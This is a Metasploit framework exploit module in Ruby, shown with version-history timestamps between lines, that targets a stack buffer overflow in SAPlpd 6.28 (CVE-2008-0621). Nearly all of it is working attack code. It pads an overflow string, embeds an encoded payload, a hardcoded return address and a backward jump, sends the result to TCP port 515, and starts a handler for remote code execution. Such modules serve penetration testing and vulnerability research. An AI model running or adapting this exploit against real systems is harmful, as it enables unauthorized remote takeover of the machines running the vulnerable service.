metasploit-framework/modules/exploits/windows/lpd/saplpd.rb

69 lines
1.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GoodRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP SAPLPD 6.28 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP Release 6.40) .
By sending an overly long argument, an attacker may be able to execute arbitrary
code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-0621' ],
[ 'OSVDB', '41127' ],
[ 'BID', '27613' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Platform' => 'win',
'Targets' =>
[
[ 'SAPlpd 6.28.0.1 (SAP Release 6.40)', { 'Ret' => 0x005e72d7 } ], #SAPlpd.exe 3/7/2006
],
'Privileged' => true,
'DisclosureDate' => 'Feb 4 2008',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options([Opt::RPORT(515)], self)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
sploit = "\x02"
sploit << rand_text_alpha_upper(484 - payload.encoded.length)
sploit << payload.encoded
sploit << [target.ret].pack('V')
sploit << [0xe9, -375].pack('CV')
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
sock.puts(sploit)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end